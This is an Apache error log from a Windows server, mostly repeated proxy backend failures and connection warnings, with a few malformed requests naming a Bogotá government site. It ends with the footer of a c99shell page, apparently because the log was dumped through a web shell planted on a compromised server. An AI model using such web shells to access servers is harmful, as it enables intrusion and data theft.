[Mon Apr 16 16:21:54.588988 2018] [proxy:error] [pid 8864:tid 14304] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 16:21:54.588988 2018] [proxy:error] [pid 8864:tid 14304] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 16:21:54.588988 2018] [proxy_http:error] [pid 8864:tid 14304] [client 201.245.192.253:34684] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 16:21:54.604588 2018] [proxy:error] [pid 8864:tid 14304] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 16:34:20.987899 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 17:01:54.138403 2018] [proxy:error] [pid 8864:tid 13896] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 17:01:54.138403 2018] [proxy:error] [pid 8864:tid 13896] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 17:01:54.138403 2018] [proxy_http:error] [pid 8864:tid 13896] [client 201.245.192.253:34822] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 17:01:54.232003 2018] [proxy:error] [pid 8864:tid 13896] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 17:11:53.943856 2018] [proxy:error] [pid 8864:tid 15992] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 17:11:53.943856 2018] [proxy:error] [pid 8864:tid 15992] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 17:11:53.943856 2018] [proxy_http:error] [pid 8864:tid 15992] [client 201.245.192.253:34904] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 17:11:53.943856 2018] [proxy:error] [pid 8864:tid 15992] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 17:14:13.002501 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 17:17:05.226803 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 17:17:05.226803 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 17:21:54.326511 2018] [proxy:error] [pid 8864:tid 14876] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 17:21:54.326511 2018] [proxy:error] [pid 8864:tid 14876] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 17:21:54.326511 2018] [proxy_http:error] [pid 8864:tid 14876] [client 201.245.192.253:35018] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 17:21:54.342111 2018] [proxy:error] [pid 8864:tid 17356] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 17:28:18.835986 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 17:28:27.884002 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 17:28:27.884002 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 17:28:28.617203 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 17:36:42.295671 2018] [core:error] [pid 8864:tid 15008] (20024)The given path is misformatted or contained invalid characters: [client 54.198.81.101:43386] AH00127: Cannot map GET /www.ambientebogota.gov.co:81/ HTTP/1.0 to file
[Mon Apr 16 18:01:53.813525 2018] [proxy:error] [pid 8864:tid 13968] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 18:01:53.813525 2018] [proxy:error] [pid 8864:tid 13968] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 18:01:53.813525 2018] [proxy_http:error] [pid 8864:tid 13968] [client 201.245.192.253:35180] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 18:01:53.813525 2018] [proxy:error] [pid 8864:tid 13968] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 18:02:09.928354 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 18:06:05.582368 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 18:11:53.618979 2018] [proxy:error] [pid 8864:tid 16908] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 18:11:53.618979 2018] [proxy:error] [pid 8864:tid 16908] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 18:11:53.618979 2018] [proxy_http:error] [pid 8864:tid 16908] [client 201.245.192.253:35224] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 18:11:53.618979 2018] [proxy:error] [pid 8864:tid 16908] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 18:21:54.298034 2018] [proxy:error] [pid 8864:tid 15568] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 18:21:54.298034 2018] [proxy:error] [pid 8864:tid 15568] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 18:21:54.298034 2018] [proxy_http:error] [pid 8864:tid 15568] [client 201.245.192.253:35282] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 18:21:54.298034 2018] [proxy:error] [pid 8864:tid 15568] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 19:01:54.175049 2018] [proxy:error] [pid 8864:tid 15100] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 19:01:54.175049 2018] [proxy:error] [pid 8864:tid 15100] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 19:01:54.175049 2018] [proxy_http:error] [pid 8864:tid 15100] [client 201.245.192.253:35432] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 19:01:54.175049 2018] [proxy:error] [pid 8864:tid 15100] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 19:07:38.358454 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 19:11:53.996103 2018] [proxy:error] [pid 8864:tid 14676] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 19:11:53.996103 2018] [proxy:error] [pid 8864:tid 14676] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 19:11:53.996103 2018] [proxy_http:error] [pid 8864:tid 14676] [client 201.245.192.253:35488] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 19:11:53.996103 2018] [proxy:error] [pid 8864:tid 14676] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 19:21:54.253957 2018] [proxy:error] [pid 8864:tid 17424] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 19:21:54.253957 2018] [proxy:error] [pid 8864:tid 17424] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 19:21:54.253957 2018] [proxy_http:error] [pid 8864:tid 17424] [client 201.245.192.253:35546] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 19:21:54.253957 2018] [proxy:error] [pid 8864:tid 17424] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 19:53:54.102529 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 20:01:54.177772 2018] [proxy:error] [pid 8864:tid 14976] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 20:01:54.177772 2018] [proxy:error] [pid 8864:tid 14976] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 20:01:54.177772 2018] [proxy_http:error] [pid 8864:tid 14976] [client 201.245.192.253:35654] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 20:01:54.177772 2018] [proxy:error] [pid 8864:tid 14976] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 20:11:54.217226 2018] [proxy:error] [pid 8864:tid 15768] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 20:11:54.217226 2018] [proxy:error] [pid 8864:tid 15768] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 20:11:54.217226 2018] [proxy_http:error] [pid 8864:tid 15768] [client 201.245.192.253:35684] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 20:11:54.232826 2018] [proxy:error] [pid 8864:tid 15768] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 20:21:53.617079 2018] [proxy:error] [pid 8864:tid 17904] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 20:21:53.617079 2018] [proxy:error] [pid 8864:tid 17904] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 20:21:53.617079 2018] [proxy_http:error] [pid 8864:tid 17904] [client 201.245.192.253:35762] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 20:21:53.617079 2018] [proxy:error] [pid 8864:tid 17904] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 20:40:26.959834 2018] [core:error] [pid 8864:tid 14328] (20024)The given path is misformatted or contained invalid characters: [client 34.226.199.87:51590] AH00127: Cannot map GET /www.ambientebogota.gov.co:81/ HTTP/1.1 to file
[Mon Apr 16 21:01:53.868495 2018] [proxy:error] [pid 8864:tid 16908] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 21:01:53.868495 2018] [proxy:error] [pid 8864:tid 16908] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 21:01:53.868495 2018] [proxy_http:error] [pid 8864:tid 16908] [client 201.245.192.253:35942] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 21:01:53.884095 2018] [proxy:error] [pid 8864:tid 16908] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 21:11:53.845548 2018] [proxy:error] [pid 8864:tid 14812] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 21:11:53.845548 2018] [proxy:error] [pid 8864:tid 14812] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 21:11:53.845548 2018] [proxy_http:error] [pid 8864:tid 14812] [client 201.245.192.253:35976] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 21:11:53.939149 2018] [proxy:error] [pid 8864:tid 14812] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 21:21:53.027001 2018] [proxy:error] [pid 8864:tid 17436] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 21:21:53.027001 2018] [proxy:error] [pid 8864:tid 17436] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 21:21:53.027001 2018] [proxy_http:error] [pid 8864:tid 17436] [client 201.245.192.253:36082] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 21:21:53.027001 2018] [proxy:error] [pid 8864:tid 17436] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 22:01:53.481217 2018] [proxy:error] [pid 8864:tid 17280] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 22:01:53.481217 2018] [proxy:error] [pid 8864:tid 17280] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 22:01:53.481217 2018] [proxy_http:error] [pid 8864:tid 17280] [client 201.245.192.253:36210] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 22:01:53.481217 2018] [proxy:error] [pid 8864:tid 17280] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 22:11:53.411471 2018] [proxy:error] [pid 8864:tid 14004] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 22:11:53.411471 2018] [proxy:error] [pid 8864:tid 14004] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 22:11:53.411471 2018] [proxy_http:error] [pid 8864:tid 14004] [client 201.245.192.253:36250] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 22:11:53.520671 2018] [proxy:error] [pid 8864:tid 14004] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 22:21:53.372925 2018] [proxy:error] [pid 8864:tid 15552] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 22:21:53.372925 2018] [proxy:error] [pid 8864:tid 15552] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 22:21:53.372925 2018] [proxy_http:error] [pid 8864:tid 15552] [client 201.245.192.253:36312] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 22:21:53.372925 2018] [proxy:error] [pid 8864:tid 15552] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 22:31:53.084778 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 22:44:31.012109 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 22:44:31.012109 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 22:55:38.162881 2018] [core:error] [pid 8864:tid 16244] (20024)The given path is misformatted or contained invalid characters: [client 128.90.115.224:52377] AH00127: Cannot map GET /galeria/carrusel/Carrusel/jquery-ui-%0A%0A1.8.13.custom.min.js HTTP/1.1 to file
[Mon Apr 16 23:01:53.686740 2018] [proxy:error] [pid 8864:tid 17600] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 23:01:53.686740 2018] [proxy:error] [pid 8864:tid 17600] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 23:01:53.686740 2018] [proxy_http:error] [pid 8864:tid 17600] [client 201.245.192.253:36452] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 23:01:53.686740 2018] [proxy:error] [pid 8864:tid 17600] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 23:11:52.712193 2018] [proxy:error] [pid 8864:tid 14844] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 23:11:52.712193 2018] [proxy:error] [pid 8864:tid 14844] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 23:11:52.712193 2018] [proxy_http:error] [pid 8864:tid 14844] [client 201.245.192.253:36482] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 23:11:52.805793 2018] [proxy:error] [pid 8864:tid 14844] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 23:19:24.208186 2018] [core:error] [pid 8864:tid 15576] (20024)The given path is misformatted or contained invalid characters: [client 128.90.115.224:57887] AH00127: Cannot map GET /www.ambientebogota.gov.co:81/ HTTP/1.1 to file
[Mon Apr 16 23:21:53.235247 2018] [proxy:error] [pid 8864:tid 15524] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 23:21:53.235247 2018] [proxy:error] [pid 8864:tid 15524] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 23:21:53.235247 2018] [proxy_http:error] [pid 8864:tid 15524] [client 201.245.192.253:36540] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 23:21:53.235247 2018] [proxy:error] [pid 8864:tid 15524] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 23:50:04.730618 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
|
:: Command execute :: | |
--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]-- |